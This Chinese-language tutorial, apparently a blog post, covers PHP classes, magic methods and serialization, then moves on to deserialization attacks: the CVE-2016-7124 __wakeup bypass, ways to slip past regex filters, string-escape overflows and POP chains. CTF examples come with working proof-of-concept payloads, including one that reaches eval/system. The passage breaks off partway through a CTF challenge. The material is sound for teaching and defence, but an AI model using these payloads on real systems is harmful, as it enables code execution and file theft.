总字符数: 31.62K

代码: 18.75K, 文本: 7.46K

预计阅读时间: 1.90 小时

基础知识

概念

  1. 对现实生活中一类具有共同特征的事物的抽象(即类可以说成是某一事物的代表,类归纳了事物)

  2. 对象

    所说的事物就是对象

  3. 属性

    类中对象所具有的性质

  4. 方法

    可以用来操作该对象或者该对象可以使用哪些方法

语法
1
2
3
4
5
6
7
8
9
10
11
<?php
class 类名{
// 常量
修饰值 $属性名=属性值(可以不初始化值);
//属性
// 构造器(析构函数)
// 方法
修饰值 function name(){
方法体;
}
}
示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class test {
// $a,$b为test类的属性
var $a;
var $b;
public function echo_test(){
echo $this->a;
echo $this->b;
}
}
// 实例化一个对象
$test = new test();
// 给test对象中的a赋值
$test->a="Bob\n";
// 给test对象中的b赋值
$test->b="Hello\n";
// 调用test对象中的echo_test()方法
$test->echo_test();

修饰符

Public Protected Private
本类 可以访问 可以访问 可以访问
子类 可以访问 可以访问 不能访问
外部 可以访问 不能访问 不能访问
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
// 定义类A
class A {
public $a = 'public'; // 公共属性,类内外都可以访问
protected $b = 'protected'; // 受保护属性,只有类内部和子类可以访问
private $c = 'private'; // 私有属性,只有类内部可以访问

// 构造函数,当对象被创建时调用
function __construct() {
echo "本类 " . $this->a . "\n"; // 打印公共属性
echo "本类 " . $this->b . "\n"; // 打印受保护属性
echo "本类 " . $this->c . "\n"; // 打印私有属性
}
}

// 定义类B,它继承自类A
class B extends A {
// 构造函数,当对象被创建时调用
function __construct() {
parent::__construct(); // 调用父类的构造函数
echo "子类 " . $this->a . "\n"; // 打印从父类继承的公共属性
echo "子类 " . $this->b . "\n"; // 打印从父类继承的受保护属性
// 由于$c是私有属性,这里会发生错误,子类无法访问父类的私有属性
// echo "子类 " . $this->c . "\n"; // 这行代码会产生错误,注释掉
}
}

$aaa = new A(); // 实例化类A的对象
$bbb = new B(); // 实例化类B的对象,会调用类B的构造函数,而类B的构造函数会调用父类A的构造函数

// 下面尝试从外部访问这些属性
echo "外部 " . $aaa->a . "\n"; // 正确,外部可以访问公共属性
// 下面这两行都会出错,因为从外部不能访问protected和private属性
// echo "外部 " . $aaa->b . "\n"; // 错误,外部不能访问受保护属性,注释掉
// echo "外部 " . $aaa->c . "\n"; // 错误,外部不能访问私有属性,注释掉
?>

魔术方法

__construct()

  • 触发时机:当创建对象时,构造函数会被自动调用.
  • 作用:初始化对象属性或执行起始化操作.
  • 使用要求:可以接收参数,也可以没有参数.

__destruct()

  • 触发时机:对象生命周期结束时,如脚本执行结束或对象被销毁.
  • 作用:执行清理工作,如释放资源或关闭连接.
  • 使用要求:无需返回值,也不接受参数.

__call($name, $arguments)

  • 触发时机:在对象中调用一个不可访问方法时,__call()会被调用
  • 作用:处理对不可访问方法的调用.
  • 使用要求:接收方法名和参数数组,通常返回混合类型的结果.

__get($name)

  • 触发时机:读取不可访问的属性值时.__get()会被调用
  • 作用:提供对私有和受保护属性的读取访问.
  • 使用要求:接收属性名,返回属性值.

__set($name, $value)

  • 触发时机:给不可访问属性赋值时,__set()会被调用
  • 作用:提供对私有和受保护属性的写入访问.
  • 使用要求:接收属性名和属性值.

__unset($name)

  • 触发时机:对不可访问属性调用unset()时,__unset()会被调用
  • 作用:能够清除私有和受保护属性.
  • 使用要求:接收属性名.

__sleep()

  • 触发时机:使用serialize()序列化对象前.
  • 作用:指定哪些属性需要被序列化.
  • 使用要求:返回一个包含属性名的数组.

__wakeup()

  • 触发时机:使用unserialize()反序列化对象时,先于对象的其他方法和属性恢复.
  • 作用:重构对象属性或执行代码,如重建数据库连接等.
  • 使用要求:无返回值,通常用于重建资源型属性.

__toString()

  • 触发时机:当一个对象需要被当作字符串处理时,如echo $object;.
  • 作用:定义对象的字符串表达形式.
  • 使用要求:必须返回一个字符串.

__invoke()

  • 触发时机:当尝试将对象当作函数调用时,如$object();.
  • 作用:使对象能以函数的形式被调用.
  • 使用要求:可以接收参数,也可以没有参数,且必须返回有效值.
示例代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
class Demo {
private $flag; // 私有属性,仅类内部可访问

public function __construct(){
echo "construct"."\n"; // 构造函数,创建对象时调用,输出"construct"
}
public function __toString() {
return '对象作字符串处理'; // 将对象转换为字符串时调用
}

public function __set($key, $value) {
echo "set ".$key."=>".$value."\n"; // 设置不可访问属性时调用
}

public function __get($key) {
echo "get ".$key."\n"; // 获取不可访问属性时调用
}


public function __unset($key) {
echo "unset "."=>".$key."\n"; // 当对不可访问属性调用unset()时调用
}

public function __wakeup() {
// 对象被unserialize()函数调用时,重新构建对象
// 恢复操作,例如:
$this->flag = '对象被反序列化'; // 为私有属性flag赋值
}

public function __invoke($arg) {
return '对象被当作函数调用,参数:' . $arg; // 当对象被当作函数调用时执行
}

public function givemeflag($flag){
echo "flag{".$flag."}"."\n"; // 自定义方法,输出参数
}

public function __call($function, $args){
echo "call ".$function." ".json_encode($args)."\n"; // 调用不可访问方法时执行
}

public function __destruct() {
// 对象销毁时调用
echo '对象被销毁'; // 输出"对象被销毁"
}
}

$demo = new Demo(); // 创建Demo类的实例
$b = serialize($demo); // 序列化$demo对象,存储序列化字符串到$b
unserialize($b); // 反序列化字符串$b,触发__wakeup
$demo(); // 调用$demo对象作为函数,触发__invoke

$demo->flag = 'wonima'; // 设置私有属性flag,触发__set
echo $demo->flag; // 获取私有属性flag,触发__get
unset($demo->flag); // 删除私有属性flag,触发__unset
$demo->givemeflag("wonima"); // 调用存在的公共方法givemeflag

序列化是什么

序列化是为了保存对象,方便重用

序列化:把对象转换为字节序列的过程称为对象的序列化

1
2
3
string serialize(mixed $value)
# return 字符串 input:混合型
serialize() # 序列化 函数用于序列化对象或数组,并返回一个字符串.
  • serialize()函数序列化对象后,可以很方便的将它传递给其他需要他的地方
  • 如果需要将已序列化的字符串变回PHP的值,可以使用unserialize()
序列化示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// 定义一个类叫做man
class man{
public $name; // 定义一个公共属性$name,用来存储人的名字
public $age; // 定义一个公共属性$age,用来存储人的年龄
public $height; // 定义一个公共属性$height,用来存储人的身高

// 类的构造函数,当创建man类的实例时自动调用
function __construct($name,$age,$height){
$this->name = $name; // 将传入构造函数的$name参数赋值给对象的$name属性
$this->age = $age; // 将传入构造函数的$age参数赋值给对象的$age属性
$this->height = $height; // 将传入构造函数的$height参数赋值给对象的$height属性
}
}
// 实例化man类的一个对象,传入姓名"Bob",年龄23岁,身高178厘米
$man = new man("Bob",23,178);

// 使用serialize函数序列化$man对象,然后使用var_dump函数打印序列化的字符串
var_dump(serialize($man));
?>
1
2
3
4
5
6
7
8
# 序列化后
string(69) "O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}"
# string(69) 表示我们序列化的字符串的长度
# O:Object
# 3表示Class名称长度
# man表示Class名称
# 3表示里面有几个元素
# s表示字符串

我们可以发现,把对象序列化之后的数据中并不能看到任何一个方法.

序列化只序列化他的属性,不序列化方法

也就是说我们在利用序列化攻击的时候,也是依托类属性进行攻击.

反序列化

反序列化就是将字符串转换成变量或者对象的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$man = 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}';
var_dump(unserialize($man));

/*
result:
object(man)#1 (3) {
["name"]=>
string(3) "Bob"
["age"]=>
int(23)
["height"]=>
int(178)
}
*/

serialize()对应的unserialize可以从已存储的表示中创建PHP的值,对于本次的环境而言可以从序列化后的结果中恢复对象(Object).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
// 定义一个类叫做man
class man{
public $name; // 定义一个公共属性$name,用来存储人的名字
public $age; // 定义一个公共属性$age,用来存储人的年龄
public $height; // 定义一个公共属性$height,用来存储人的身高

// 类的构造函数,当创建man类的实例时自动调用
function __construct($name,$age,$height){
$this->name = $name; // 将传入构造函数的$name参数赋值给对象的$name属性
$this->age = $age; // 将传入构造函数的$age参数赋值给对象的$age属性
$this->height = $height; // 将传入构造函数的$height参数赋值给对象的$height属性
}
}
# 序列化后的字符串
$man = 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:23;s:6:"height";i:178;}';
var_dump(unserialize($man));

在PHP中,对象序列化包含成员变量的可见性处理,不同的可见性修饰符会影响序列化后的字符串格式.

下面是这个过程的简化解释,以及每个可见性修饰符对序列化格式的影响:

  1. Public (公共)成员变量:使用public修饰的成员变量在序列化后保留其原始名称和长度.例如,如果$name是公共变量并且值为"John",序列化后会正常显示为"John",长度为4.

  2. Protected (受保护的)成员变量:使用protected修饰的成员变量在序列化时,它的名称前会加上*字符,并且长度会增加3个字节.所以如果$age是受保护的变量,序列化后的长度会是原本长度加3.

  3. Private (私有的)成员变量:使用private修饰的成员变量在序列化时,在变量名前会加上其所在类的名称和两个空字节.因此,如果有一个私有变量$height在名为object的类中,序列化后的长度会是变量值的长度加上类名长度再加上2个字节.

在序列化中,\x00代表空字节,它在私有和受保护成员变量的名称前后用于区分成员变量的作用域.

这里是具体的规则概述:

  • Private 成员序列化规则:序列化私有成员时使用的格式为 \x00[类名]\x00[变量名].
  • Protected 成员序列化规则:序列化受保护的成员时使用的格式为 \x00*\x00[变量名].

以上规则保证了在序列化和反序列化过程中,成员变量的可见性和归属保持不变,从而维护了对象状态的完整性.

序列化格式中的字母含义
1
2
3
4
5
6
7
8
9
10
11
12
a - array                    // 数组
b - boolean // 布尔值
d - double // 双精度浮点数
i - integer // 整数
o - common object // 常规对象(已废弃,被 O 替代)
r - reference // 引用
s - string // 字符串
C - custom object // 自定义对象,具有自定义序列化的对象
O - class // 对象
N - null // NULL
R - pointer reference // 指针引用,指向另一个值的引用
U - unicode string // Unicode字符串(PHP 6之前的特性,已不再使用)

为什么反序列化?

存储需求

所有PHP里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字.

在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是”持久数据”,因此PHP序列化就是将内存的变量数据”保存”到文件中的持久数据的过程

传输需求

序列化通俗点说就是把一个对象变成可以传输的字符串.

比如:json格式,这就是一种序列化,有可能也是通过array序列化而来的.而反序列化就是把那串可以传输的字符串再变回对象

这样就让对象能够以字节流的形式传输

反序列化漏洞

  1. 反序列化可能会导致代码被加载和执行
  2. unserialize()参数可控
  3. php中有可以利用的类并且类中有魔幻函数又称魔术方法

__wakeup()(CVE-2016-7124)

反序列化时,如果表示对象属性个数的值大于真实的属性个数时会导致反序列化失败而同时会跳过__wakeup()的执行

  1. 影响版本
  2. PHP 5.6.25之前的版本
  3. 7.x系列中7.0.10之前的版本
ctf.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php 
// 定义名为Demo的类
class Demo {
private $file = 'index.php'; // 私有属性,存储文件名,默认为'index.php'

// 构造函数,当创建Demo类的实例时自动调用
public function __construct($file) {
$this->file = $file; // 将传入的$file参数赋值给对象的$file属性
}

// 析构函数,当Demo类的实例销毁时自动调用
function __destruct() {
echo @highlight_file($this->file, true); // 输出高亮显示的$file文件内容
}

// 当尝试对一个对象进行unserialize操作时,会自动调用此函数
function __wakeup() {
if ($this->file != 'index.php') { // 文件名如果不是'index.php'
// 注意信息:秘密在fl4g.php中
$this->file = 'index.php'; // 强制将$file属性设回为'index.php'
}
}
}

// 检查是否存在名为'var'的GET变量
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']); // 对GET变量'var'进行base64解码
// 使用正则表达式检查解码后的字符串是否包含有特定模式(可能是序列化的对象或类)
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!'); // 如果匹配到模式,则终止脚本,并输出警告信息
} else {
@unserialize($var); // 如果没有匹配到模式,尝试反序列化字符串
}
} else {
highlight_file(__FILE__); // 如果没有GET变量'var',则高亮显示当前PHP文件内容
}
?>

正则表达式 '/[oc]:\d+:/i'各部分的含义如下:

  1. /.../:正则表达式的界定符,告诉PHP这是一个正则表达式的开始和结束.
  2. [oc]:字符集合,匹配 ‘o’ 或者 ‘c’ 中的任意一个字符.
  3. ::匹配冒号这个字符.
  4. \d:匹配任何数字(digit),等同于 [0-9].
  5. +:量词,表示前面的字符(在这个例子里是 \d,即数字)出现一次或多次.
  6. ::再次匹配冒号这个字符.
  7. i:修饰符,表示匹配时不区分大小写.

所以,这个正则表达式用于查找字符串中的模式,该模式是以 ‘o’ 或 ‘c’(不区分大小写)开头,后跟一个冒号,然后是一个或多个数字,最后以冒号结束.

例如:

  1. o:123: 将会匹配
  2. C:456: 也将会匹配
  3. x:789: 则不会匹配,因为它不以 ‘o’ 或 ‘c’ 开头.
fl4g.php
1
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";
poc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Demo{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
echo @highlight_file($this->file, true);
}
function __wakeup()
{
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}

$a = new Demo("fl4g.php");
$a = serialize($a);
$a = str_replace("O:4","O:+4",$a); // 绕过正则
$a = str_replace(":1:",":2:",$a); // 绕过wakeup
$a = base64_encode($a); // base6编码
echo $a;

解题思路

关键点:

  • 代码提示:需要读取 fl4g.php,但是直接访问会被重定向至 index.php.
  • 利用点:__destruct() 方法中的 highlight_file($this->file, true) 可以读取文件内容.
  • 目标:在反序列化后调用 __destruct(),同时避免 __wakeup()$file 重置为 index.php.

优化解题思路:

  • 利用 CVE-2016-7124 漏洞:序列化字符串的属性个数大于实际数量时,可以跳过 __wakeup().
  • 绕过技巧:
    1. 改变序列化内容中的属性个数,从而跳过 __wakeup().

操作步骤:

  1. 将序列化的属性个数从 1 改为 2.
  2. 使用 base64 编码处理序列化内容.
  3. 提交修改后的数据,触发 __destruct(),读取 fl4g.php.

利用一般都是基于”自动调用”的魔术方法,当漏洞/危险代码存在类的普通方法中,就不能指望通过”自动调用”来达到目的.这时的利用方法如下

  1. 寻找相同的函数名
  2. 把敏感函数和类联系在一起

反序列化Bypass

php7.1+反序列化对类属性不敏感

在PHP 7.1版本及以后,protected属性在序列化时不再需要特殊前缀.这意味着,即便序列化字符串中缺少\x00*\x00,PHP依然能够正确处理受保护的属性值.

php5.5.9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class man{
public $name;
protected $age;
private $height;
function __construct($name,$age,$height){
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
}

# 反序列化\x00 2a \x00(对应的16进制002a00)的受保护的序列值
$man = new man('regret','23','178');
var_dump(bin2hex(serialize($man)));


# result:
object(man)#1 (3) {
["name"]=>
string(6) "regret"
["age":protected]=>
int(23)
["height":"man":private]=>
int(178)
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class man{
public $name;
protected $age;
private $height;
function __construct($name,$age,$height){
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
}

# php5.5.9反序列化没有\x00 \x00(对应的16进制002a00)的受保护的序列值
$hex = '4f3a333a226d616e223a333a7b733a343a226e616d65223b733a363a22726567726574223b733a363a222a616765223b693a32333b733a31313a22006d616e00686569676874223b693a3137383b7d';
var_dump(unserialize(hex2bin($hex)));


# result:
bool(false)

php7.1.9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class man
{
public $name;
protected $age;
private $height;

function __construct($name, $age, $height)
{
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
}

// 注意:如果将\x00 \x00删掉之后,对应的s:6:"*age"这个6(hex:36)也要删除2个字节,也就是4(hex:34)
$hex = '4f3a333a226d616e223a333a7b733a343a226e616d65223b733a363a22726567726574223b733a343a222a616765223b693a32333b733a31313a22006d616e00686569676874223b693a3137383b7d';
$unserializedData = unserialize(hex2bin($hex));
var_dump($unserializedData);



# result:
object(man)#2 (4) {
["name"]=>
string(6) "regret"
["age":protected]=>
NULL
["height":"man":private]=>
int(178)
["*age"]=>
int(23)
}

绕过__wakeup(CVE-2016-7124)

版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

对于下面这样一个自定义类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

// 定义一个名为test的类
class test
{
public $a; // 定义一个公共属性$a

// 构造函数,每当类被实例化时,它就会被调用
public function __construct()
{
$this->a = 'abc'; // 初始化属性$a为字符串'abc'
}

// 当对象被反序列化时,__wakeup魔术方法会被调用
public function __wakeup()
{
$this->a = '666'; // 反序列化时,将属性$a的值设置为'666'
}

// 析构函数,当对象被销毁时,它会被调用
public function __destruct()
{
echo $this->a; // 在对象被销毁前输出属性$a的值
}
}

// 实例化test类的对象
$test = new test();
// 序列化$test对象,然后将序列化的字符串转换为16进制表示,最后打印出来
var_dump(serialize($test));

#result:
string(33) "O:4:"test":1:{s:1:"a";s:3:"abc";}"
abc

如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');输出结果为666

而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');输出结果为abc

绕过部分正则

使用 preg_match('/^O:\d+/') 可以检查一个字符串是否以PHP对象的序列化格式开头.这个技巧在一些安全竞赛(CTF)中很实用.

  • 一个很简单的绕过手法就是在数字前面加一个+,这样就饶过了正则,因为正常来说整数会省略+,但是加上也不算错.当你在URL中传递参数时,需要记住将加号(+)编码为%2B
  • 使用 serialize(array($a)); 可以序列化一个包含变量$a的数组,这样即使\$a是一个对象,它的序列化字符串也会以字母a开始,而不是对象表示的O,这是一个避免某些安全问题的小技巧.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
// 定义一个类test
class test {
public $a; // 类的公共属性$a

// 类的构造函数,初始化属性$a
public function __construct() {
$this->a = 'abc';
}

// 类的析构函数,当对象被销毁时输出属性$a
public function __destruct() {
echo $this->a.PHP_EOL; // 打印属性$a并换行
}
}

// 定义一个函数match来检查数据是否以序列化的对象字符串开头
function match($data) {
// 使用正则表达式检查是否以PHP序列化的对象格式开头
if (preg_match('/^O:\d+/',$data)){
die('you lose!'); // 如果是,终止脚本并输出消息
} else {
return $data; // 如果不是,返回原始数据
}
}

// 初始化一个序列化的对象字符串
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';

// 将序列化的对象字符串中的'O:4'替换为'O:+4',用于绕过正则表达式的检查
$b = str_replace('O:4','O:+4', $a);

// 对修改后的数据使用match函数检查,然后尝试反序列化
unserialize(match($b));

// 将原始的序列化对象字符串$a包装在一个数组中并序列化
// unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
// 尝试反序列化上面序列化的数组,其中包含了test对象
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
?>

除了加号(+),可能还有其他字符或者序列化格式的特定特征可以用于绕过检查,例如:

空白字符:在某些情况下,正则表达式可能没有考虑空白字符(如空格、制表符或换行符),可能会忽略它们.

  1. 空格字符 ( )
  2. 制表符 (\t)
  3. 换行符 (\n)
  4. 回车符 (\r)

如果正则表达式仅检查开始的序列化对象而没有考虑对象内部的空白,那么可以在对象的属性值中插入空白字符,例如在s:3:"abc"后添加一个空格或其他空白字符.

但是,需要注意的是,PHP的unserialize()函数通常不会忽略序列化字符串中的空白字符,除非它们是字符串值的一部分.这意味着,虽然你可能绕过了正则表达式的检测,但是修改后的序列化字符串可能不会成功被unserialize()函数反序列化,除非这些空白字符位于序列化数据的非关键部分.

16进制绕过字符的过滤

1
2
3
4
5
6
7
O:4:"test":1:{s:8:"username";s:5:"admin";}
可以写成
O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}


如果安全检查是寻找 "username" 字符串,你可以将 "username" 中的 "u" 替换为它的16进制形式 "\75".
检查可能会忽略 "\75sername",因为按字面上它不等于 "username".然而,当反序列化操作发生时,"\75" 会被解析回 "u",原始的字符串 "username" 就会被重建,原本的检查被绕过.
示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 定义一个名为 test 的类
class test{
public $username; // 定义公共变量 $username

// 类的构造函数
public function __construct(){
$this->username = 'admin'; // 初始化变量 $username 为字符串 'admin'
}

// 类的析构函数
public function __destruct(){
echo 666; // 在对象销毁时,输出 666
}
}

// 定义了一个名为 check 的函数,用于检查数据中是否包含 'username' 字符串
function check($data){
// 使用 stristr 函数检查 $data 中是否包含 'username' 字符串
if(stristr($data, 'username')!==False){
echo("你绕不过!!".PHP_EOL); // 如果包含,则输出提示信息
}
else{
return $data; // 如果不包含,则返回原始数据
}
}

// 未经处理的序列化字符串,包含 'username' 字段
$a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}';
$a = check($a); // 检查是否包含 'username',此时会输出提示信息,因为包含



// 处理后的序列化字符串,其中 'username' 被替换成了它的16进制表示形式 '\75sername'
$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}';
$a = check($a); // 检查处理后的数据,不会输出提示信息,因为没有直接包含 'username'
unserialize($a); // 反序列化处理后的数据,会触发 test 类的析构方法,输出 666

PHP反序列化字符逃逸

此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞

这种题目有两个共同点:

  • PHP序列化的字符串经过了替换或者修改,导致字符串长度发生变化
  • 总是先进行序列化,再进行替换修改操作

分类:

  • 替换后字符变多
  • 替换后字符变少

情况1:过滤后字符变多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
// 定义一个函数change,用于将字符串中的所有"x"替换成"xx"
function change($str){
// 使用str_replace函数替换字符串中的"x"为"xx"
return str_replace("x", "xx", $str);
}

// 从请求的GET参数中获取'name'的值
$name = $_GET['name']; // 警告:这里没有进行任何的输入过滤或验证,实际应用中这是一个严重的安全问题.

// 定义一个字符串变量$age
$age = "I am 11";

// 创建一个数组$arr,包含$name和$age两个元素
$arr = array($name, $age);

// 输出提示信息
echo "反序列化字符串:";

// 使用serialize函数序列化$arr数组,并输出
var_dump(serialize($arr));

// 输出换行HTML标签
echo "<br/>";

// 输出提示信息
echo "过滤后:";

// 对序列化的数组字符串进行过滤替换(调用change函数),并赋值给$old
$old = change(serialize($arr));

// 对替换后的字符串进行反序列化,并赋值给$new
$new = unserialize($old);

// 输出过滤后的反序列化结果
var_dump($new);

// 输出换行HTML标签
echo "<br/>";

// 显示$new数组中的第二个元素,即年龄信息
echo "此时,age=$new[1]"; // 注意:如果$new[1]的数据类型不是字符串,这里可能产生错误或不可预料的行为.

正常情况,传入name=cat

如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来),我们可以利用这一点实现字符串逃逸

首先来看看结果,再来讲解

我们通过GET参数传入了一个包含多个x字符的name值:

1
$name = "catxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}";

当使用以下代码对序列化的字符串进行替换操作时,问题就出现了:

1
2
// 把字符串中的每一个'x'替换成两个'xx'
$old = str_replace('x', 'xx', serialize($arr));

这里发生了什么:

  • 原始输入:name=catxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
  • 字符计数:原始输入的";i:1;s:6:"woaini";}部分共有20个字符.
  • 替换效果:每个x都被替换为xx,所以原本的20个x变成了40个.
  • 字符串逃逸:由于替换后x的数量翻倍,导致原始的结尾部分";i:1;s:6:"woaini";}被覆盖,使得序列化字符串的格式被破坏.
  • 反序列化结果:最终的"字符闭合了字符串,使得woaini可以成功被反序列化出来.
  • 结尾处理:剩余的结尾分号";}正确闭合了整个序列化过程,使得原来应该出现在结尾的";i:1;s:7:"I am 11";}"被忽略,不影响反序列化结果.

情况2:过滤后字符变少

老规矩先上代码,就是把反序列化后的两个x替换成为一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
// 定义一个函数change,用于将字符串中的所有"xx"替换成"x"
function change($str){
// 使用str_replace函数进行字符串替换
return str_replace("xx", "x", $str);
}

// 从URL的GET参数中获取'name'并赋值给数组$arr的'name'键
$arr['name'] = $_GET['name']; // 注意:直接使用用户输入可能导致安全漏洞

// 从URL的GET参数中获取'age'并赋值给数组$arr的'age'键
$arr['age'] = $_GET['age']; // 注意:同上,需要对用户输入进行验证和过滤

// 输出文字提示
echo "反序列化字符串:";

// 输出序列化后的$arr数组
var_dump(serialize($arr));

// 输出HTML的换行标签
echo "<br/>";

// 输出文字提示
echo "过滤后:";

// 把序列化后的字符串通过change函数处理,并将处理后的结果赋值给$old
$old = change(serialize($arr));

// 输出处理后的字符串
var_dump($old);

// 输出HTML的换行标签
echo "<br/>";

// 使用unserialize函数对处理后的字符串$old进行反序列化,并将结果赋值给$new
$new = unserialize($old);

// 输出反序列化后的数组
var_dump($new);

// 输出HTML的换行标签
echo "<br/>此时,age=";

// 输出新数组$new中'age'键对应的值
echo $new['age'];

正常情况传入name=mao&age=11的结果

最后构造的结果:

1
name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&age=11";s:3:"age";s:6:"woaini";}

在序列化字符串中,由于我们插入了40个x字符,这导致原本的序列化数据因长度不匹配而被”截断”.这意味着序列化字符串中接下来的20个字符–";s:3:"age";s:28:"11–被这些x字符取代了.因为字符串在某个点被"字符闭合,这使得序列化的数据结构被破坏,从而允许插入额外的数据.

具体来说:

1
s:3:"age";s:28:"11";s:3:"age";s:6:"woaini";}"

在这个序列化字符串中:

  • s:3:"age"; 指定了一个长度为3的字符串”age”.
  • s:28:"11" 试图定义一个长度为28的字符串,但实际上只包含”11”.
  • 多余的x字符替换了这个字符串后面应有的内容.
  • 最终"字符闭合了字符串,使得原本应当由序列化数据决定的内容现在可以被外部输入覆盖.
  • 结果是,”age”的值不再是原本的”11”,而是被篡改后的”woaini”.

POP链

POP链就是利用了PHP中对象的自动调用魔术方法特性,将多个类和方法串联起来,形成一个链式调用.当PHP反序列化时,会自动调用这些方法,触发代码执行.

POP链构造技巧

  1. 简单浏览:找出可能的漏洞点
    • 多去注意一些容易触发漏洞的函数:evalinclude
  2. 根据漏洞点反推:看逻辑是否可行(参数是否可控、魔术方法是否能触发、条件是否可达成等)
    • 一般是先找注入点,判断注入需要的参数,然后找到包含执行注入的函数(一般就是魔术方法),再找执行此函数的条件a,判断条件a是否可以满足,然后再找执行条件a需要满足的条件b,依次找下去直到不需要再找需要满足的条件即可.
  3. 最后构造POC验证
    • 构造的时候根据上一步找到的条件,最好从后往前构造,并且要找正确触发魔术方法的究竟是谁($this指的是谁)

一道简单的pop链例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 定义了一个名为test的类
class test{
private $index; // 私有属性 $index,用于储存index类的实例

// test类的构造函数
function __construct(){
$this->index=new index(); // 在新创建的test类实例中,为属性$index创建一个新的index类实例
}

// test类的析构函数
function __destruct(){
$this->index->hello(); // 在test类对象被销毁前,调用其属性$index的hello方法
}
}

// 定义了一个名为index的类
class index{
// index类中定义了一个公共方法hello
public function hello(){
echo '你好啊~'; // 当调用此方法时,输出字符串"你好啊~"
}
}

// 定义了一个名为execute的类
class execute{
public $test; // 公共属性$test,可以存储任何值

// execute类中的hello方法
function hello(){
eval($this->test); // 使用eval函数执行存储在$test属性中的字符串.这里存在安全风险,不推荐使用eval.
}
}

unserialize($_GET['test']);
  1. 漏洞利用点:eval($this->test);使hello()可执行,利用eval执行系统命令:$test=system(dir);
  2. hello()执行需满足: __destruct可触发:(反序列化test对象之后自动执行)将$index=new execute()
  3. 将index设置为execute的示例需满足:__construct 不触发(反序列化test对象不会触发)

简单的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test{
private $index;
function __construct(){
$this->index=new execute();
}

}
class execute{
public $test="system('dir');";
}
$a=new test();
echo urlencode(serialize($a));

因有privat修饰符(会产生不可打印字符)所以我们后面使用urlencode输出以便我们复制

CTF例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
class Modifier {
protected $var;

public function append($value) {
include($value);
}

public function __invoke() {
$this->append($this->var);
}
}

class Show {
public $source;
public $str;

public function __construct($file = 'index.php') {
$this->source = $file;
echo 'Welcome to ' . $this->source . "<br>";
}

public function __toString() {
return $this->str . $this->source;
}

public function __wakeup() {
if (preg_match("/^(gopher|http|file|ftp|https|dict)\.*/i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
